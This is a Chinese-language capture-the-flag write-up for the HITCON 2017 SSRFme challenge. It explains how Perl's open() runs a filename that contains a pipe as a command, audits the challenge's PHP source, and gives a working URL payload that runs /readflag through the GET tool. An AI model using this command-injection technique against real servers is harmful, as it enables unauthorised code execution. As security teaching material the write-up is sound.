[HITCON 2017]SSRFme 1 Perl GET任意命令执行漏洞
[HITCON 2017]SSRFme 1
open漏洞
在perl语言中,open函数存在命令执行漏洞:如果open文件名中存在管道符(也叫或符号|),就会将文件名直接以命令的形式执行,然后将命令的结果存到与命令同名的文件中。本题中调用了GET函数,而GET函数底层调用了open函数,故存在漏洞。
ricter@baka:/tmp$ cat a.pl
open(FD, "id|"); # 管道符在尾部
print <FD>;
open(FD, "|id"); # 管道符在头部
print <FD>;
ricter@baka:/tmp$ perl a.pl
uid=1000(ricter) gid=1000(ricter) groups=1000(ricter)
uid=1000(ricter) gid=1000(ricter) groups=1000(ricter) #两个方法都可以执行
GET函数
GET函数部分源码:
# URL OK, look at file
my $path = $url->file;
# test file exists and is readable
unless (-e $path) {
return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
"File `$path' does not exist");
}
...
# read the file
if ($method ne "HEAD") {
open(F, $path) or return new
HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
"Cannot read file '$path': $!");
# 这里GET函数运行open前会检查是否存在文件,如果不存在就会报文件不存在,无法继续执行,所以这里需要存在一个名字和命令相同的文件。
执行测试
ricter@baka:/tmp/a$ touch 'id|' # 创建文件“id|”
ricter@baka:/tmp/a$ GET 'file:id|' # 使用GET,使用file协议读取文件”id|“
uid=1000(ricter) gid=1000(ricter) groups=1000(ricter) # 触发漏洞
题目
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
?>
pathinfo函数
将输入的路径解析,返回解析后的结果
输入:
<?php
print_r(pathinfo("/test1/testweb/test.txt"));
?>
输出:
Array
(
[dirname] => /test1/testweb
[basename] => test.txt
[extension] => txt
[filename] => test
)
审计
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
# 使用字符串“orange”和你的ip拼凑起来,经过md5,组成供你使用的沙箱,随后进入沙箱。
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
# 运行 GET $_GET['url'] 命令,将结果存到data里面。这里使用escapeshellarg做了一个过滤处理。
$info = pathinfo($_GET["filename"]);
# 这里将你传到filename的文件路径解析开,存到info里。如你传入a/b/c
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
# 根据你的文件路径创建文件夹,并移动到其中,准备创建文件。用上面的例子,这里就是帮你创建a/b/文件夹,准备创建c文件。
@file_put_contents(basename($info["basename"]), $data);
# 创建文件,将第一步GET命令得到的结果放入这个文件内。
# 这一段概括一下,首先你传入两个参数,url和filename,他会把执行GET $_GET['url']的结果存到filename文件里。这个filename文件可以是一个路径,他会帮你创建中途的文件夹。
我们最后得到的payload即为
/?url=file:bash -c /readflag|&filename=bash -c /readflag| # 这里使用file协议,bash -c就是将目标当作可执行文件运行,如bash -c "echo 'hello World'"
/?url=file:bash -c /readflag|&filename=bash -c /readflag| # 这里运行两次是因为命令要执行首先需要文件存在,第一次执行时文件不存在,创建文件,第二次执行命令。
/sandbox/your md5/bash -c /readflag| # 访问结果。
# P.s 这里我省略了看根目录的一步,看根目录不需要执行命令,直接使用GET命令原本的功能就可以了
/?url=/&filename=haha # 将结果存入haha文件中
/sandbox/your md5/haha # 查看结果

浙公网安备 33010602011771号